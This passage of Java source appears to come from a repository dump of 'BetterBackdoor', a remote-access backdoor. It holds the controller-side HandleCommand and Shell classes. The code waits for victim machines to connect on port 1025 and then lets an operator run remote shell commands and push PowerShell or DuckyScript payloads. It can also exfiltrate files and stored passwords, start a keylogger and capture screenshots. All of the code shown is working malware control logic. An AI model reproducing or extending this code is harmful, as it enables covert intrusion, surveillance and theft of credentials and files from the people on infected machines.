dev.thatcherclough.betterbackdoor.backend.Utils; import org.apache.commons.io.FileUtils; import javax.crypto.BadPaddingException; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; public class HandleCommand { /** * Handles command {@code command} given by user. * * @param command command given by user * @throws IOException */ public static void handle(String command) throws IOException, ClassNotFoundException, InvalidKeyException, BadPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, NoSuchPaddingException { switch (command) { case "cmd": System.out.println( "Commands will now be executed through vitim's computer's Command Prompt\nEnter 'back' to go back"); while (true) { send("current-cmd-dir"); System.out.print(getResp()); String cmdCommand = BetterBackdoor.getInput(""); if (cmdCommand.equals("back")) break; send("cmd " + cmdCommand); Shell.out.flush(); System.out.println(getResp()); } break; case "ps": case "ds": { System.out.print("This will send a local "); if (command.equals("ps")) System.out.print("PowerShell script "); else System.out.print("DuckyScript"); System.out.println(" to the victims computer, execute it, and delete it."); System.out.println("Enter local filepath of script:"); File file = new File(BetterBackdoor.getInput("file")); System.out.println("Sending script..."); send("filesend " + file.getName()); Shell.out.flush(); FTP.shell(file.getAbsolutePath(), "send"); System.out.println(getResp()); System.out.println("Running script..."); send(command + " " + file.getName()); System.out.println(getResp()); break; } case "exfiles": { System.out.println( "This will copy files with desired extensions from a folder and all it's subfolders to a ZIP file, send the ZIP file to this computer, " + "and delete the original ZIP file from the victim's computer."); System.out.println("Enter victim's directory to search through:"); String root = BetterBackdoor.getInput(""); send("filetype " + root); Shell.out.flush(); String filetype = getResp(); if (filetype.equals("file")) { System.out.println("You entered a file. Invalid input."); } else if (filetype.equals("not real")) { System.out.println("No such directory"); } else { System.out.println("Enter extensions of files separated by commas (i.e. txt,pdf,docx)"); String exts = BetterBackdoor.getInput(""); send("exfiles " + root + "*" + exts); Shell.out.flush(); System.out.println("Receiving files to '" + System.getProperty("user.dir") + File.separator + "gathered" + File.separator + "ExfiltartedFiles.zip'..."); FTP.shell("gathered" + File.separator + "ExfiltratedFiles.zip", "rec"); System.out.println(getResp()); } break; } case "expass": send("expass"); Shell.out.flush(); System.out.println("Receiving passwords to '" + System.getProperty("user.dir") + File.separator + "gathered" + File.separator + "ExfiltratedPasswords.zip'..."); FTP.shell("gathered" + File.separator + "ExfiltratedPasswords.zip", "rec"); System.out.println(getResp()); break; case "filesend": { System.out.println("Enter local filepath of file to send:"); String fileSend = BetterBackdoor.getInput("file"); File file = new File(fileSend); if (file.isFile()) System.out.println("Enter victim's filepath of file to receive:"); else if (file.isDirectory()) { System.out.println("You entered a directory. It will be compressed and then sent."); System.out.println("Enter victim's filepath of ZIP file to receive:"); } else System.out.println("No such file or directory"); if (file.exists()) { String fileRec = BetterBackdoor.getInput(""); send("filesend " + fileRec); Shell.out.flush(); if (file.isDirectory()) { Utils.zipDir(file.getAbsolutePath()); FTP.shell(file.getAbsolutePath() + ".zip", "send"); } else FTP.shell(file.getAbsolutePath(), "send"); System.out.println(getResp()); if (file.isDirectory()) FileUtils.forceDelete(new File(file.getAbsolutePath() + ".zip")); } break; } case "filerec": { System.out.println("Enter victim's filepath of file to send:"); String fileSend = BetterBackdoor.getInput(""); send("filetype " + fileSend); Shell.out.flush(); String filetype = getResp(); if (filetype.equals("file")) System.out.println("Enter local filepath of file to receive:"); else if (filetype.equals("directory")) { System.out.println("You entered a directory. It will be compressed and then received."); System.out.println("Enter local filepath of ZIP file to receive:"); } else System.out.println("No such file or directory"); if (!filetype.equals("not real")) { String fileRec = BetterBackdoor.getInput(""); send("filerec " + fileSend); Shell.out.flush(); FTP.shell(fileRec, "rec"); System.out.println(getResp()); } break; } case "keylog": send("current-dir"); Shell.out.flush(); String currentDrive = getResp().substring(0, 2); send("cmd echo %USERNAME%"); Shell.out.flush(); String currentUser = getResp().replaceAll(" ", ""); String logFileDir = "C:\\Users\\" + currentUser + "\\AppData\\Gathered"; if (!currentDrive.equals("C:")) { System.out.println("The backdoor is running from drive " + currentDrive.substring(0, 1) + ". Where should keys be logged?"); System.out.println("[0] " + logFileDir + "\\keys.log"); System.out.println("[1] " + currentDrive + "\\keys.log"); String dirChoice = BetterBackdoor.getInput("op01"); if (dirChoice.equals("1")) logFileDir = currentDrive; } send("keylog " + logFileDir); Shell.out.flush(); System.out.println(getResp()); break; case "ss": send("ss"); Shell.out.flush(); System.out.println("Receiving screenshot to '" + System.getProperty("user.dir") + File.separator + "gathered" + File.separator + "screenshot.png'..."); FTP.shell("gathered" + File.separator + "screenshot.png", "rec"); System.out.println(getResp()); break; case "cat": System.out.println("Enter victim's filepath of file to get contents of:"); send("cat " + BetterBackdoor.getInput("")); Shell.out.flush(); System.out.println(getResp()); break; case "zip": System.out.println("Enter victim's filepath of directory to compress:"); send("zip " + BetterBackdoor.getInput("")); Shell.out.flush(); System.out.println(getResp()); break; case "unzip": System.out.println("Enter victim's filepath of ZIP file to decompress:"); send("unzip " + BetterBackdoor.getInput("")); Shell.out.flush(); System.out.println(getResp()); break; case "exit": System.exit(0); default: send(command); Shell.out.flush(); System.out.println(getResp()); break; } } private static void send(String toSend) throws IOException, IllegalBlockSizeException, InvalidKeyException, BadPaddingException, NoSuchAlgorithmException, NoSuchPaddingException { if (Shell.key != null) Shell.out.writeObject(Utils.encrypt(toSend, Shell.key)); else Shell.out.writeObject(toSend); } /** * Gets response from client. * * @return response from client */ private static String getResp() throws IOException, ClassNotFoundException, IllegalBlockSizeException, InvalidKeyException, BadPaddingException, NoSuchAlgorithmException , NoSuchPaddingException { String ret; String resp = (String) Shell.in.readObject(); if (Shell.key != null) ret = Utils.decrypt(resp, Shell.key); else ret = resp; return ret; } } ================================================ FILE: src/main/java/dev/thatcherclough/betterbackdoor/shell/Shell.java ================================================ package dev.thatcherclough.betterbackdoor.shell; import dev.thatcherclough.betterbackdoor.BetterBackdoor; import dev.thatcherclough.betterbackdoor.backend.Utils; import java.io.File; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.net.ServerSocket; import java.net.Socket; import java.util.ArrayList; import java.util.Scanner; public class Shell { private static Socket socket; public static String key; public static ObjectInputStream in; public static ObjectOutputStream out; public static ArrayList connectedMachines = new ArrayList<>(); /** * Starts shell to control backdoor. *

* Creates server on port 1025 for client to connect to. Runs {@link Connector#start()} to find * all possible clients and prompts user to select client to connect to if their are multiple clients. * Once client has connected, starts an infinite loop that gets command {@code command} from * user and handles it with {@link HandleCommand#handle}. */ public static void start() { System.out.println("Searching for clients...\n"); try { ServerSocket serverSocket = new ServerSocket(1025); while (connectedMachines.size() == 0) { Connector connector = new Connector(serverSocket); connector.start(); Thread.sleep(5000); connector.interrupt(); if (connectedMachines.size() == 0) System.out.println("No clients found. Searching again...\n"); } if (connectedMachines.size() == 1) { System.out.println("Found client."); socket = connectedMachines.get(0); } else { System.out.println("Select client to connect to:"); StringBuilder opString = new StringBuilder("op"); for (int k = 0; k < connectedMachines.size(); k++) { System.out.println("[" + k + "] " + connectedMachines.get(k).getInetAddress()); opString.append(k); } String option = BetterBackdoor.getInput(opString.toString()); for (int k = 0; k < connectedMachines.size(); k++) if (option.equals(Integer.toString(k))) socket = connectedMachines.get(k); else connectedMachines.get(k).close(); } connectedMachines.clear(); out = new ObjectOutputStream(socket.getOutputStream()); in = new ObjectInputStream(socket.getInputStream()); String isEncryptedString = (String) in.readObject(); if (isEncryptedString.equals("true")) { Scanner keysIn = new Scanner(new File("keys.txt")); while (keysIn.hasNextLine()) { String possibleKey = keysIn.nextLine(); try { String trueEncrypted = Utils.encrypt("true", possibleKey); out.writeObject(trueEncrypted); out.flush(); String response = (String) in.readObject(); if (response.equals("true")) { key = possibleKey; break; } } catch (Exception ignored) { } } if (key == null) System.out.println("Could not automatically find encryption key."); while (key == null) { System.out.println("Enter encryption key:"); String possibleKey = BetterBackdoor.getInput(""); try { String trueEncrypted = Utils.encrypt("true", possibleKey); out.writeObject(trueEncrypted); out.flush(); String response = (String) in.readObject(); if (response.equals("true")) { key = possibleKey; break; } else throw new Exception(); } catch (Exception e) { System.out.println("Incorrect key."); } } } new File("gathered").mkdir(); System.out.println("Connection has been established to " + socket.getInetAddress()); System.out.println("Enter 'help' for a list of available commands"); while (true) HandleCommand.handle(BetterBackdoor.getInput("")); } catch (Exception e) { if (e.getMessage().equals("String index out of range: -1") || e.getMessage().equals("begin 0, end -1, length 0")) BetterBackdoor.error("The victim's computer has disconnected"); else BetterBackdoor.error(e.getMessage()); } finally { try { if (socket != null) socket.close(); if (in != null) in.close(); if (out != null) out.close(); } catch (Exception ignored) { } } } } class Connector extends Thread { private ServerSocket serverSocket = null; public Connector(ServerSocket serverSocket) { this.serverSocket = serverSocket; } /** * Attempts to accept connections to {@link Connector#serverSocket} and add the produced sockets to * {@link Shell#connectedMachines}. */ public void run() { while (true) { try { Socket socket = serverSocket.accept(); Shell.connectedMachines.add(socket); } catch (Exception e) { e.printStackTrace(); } } } }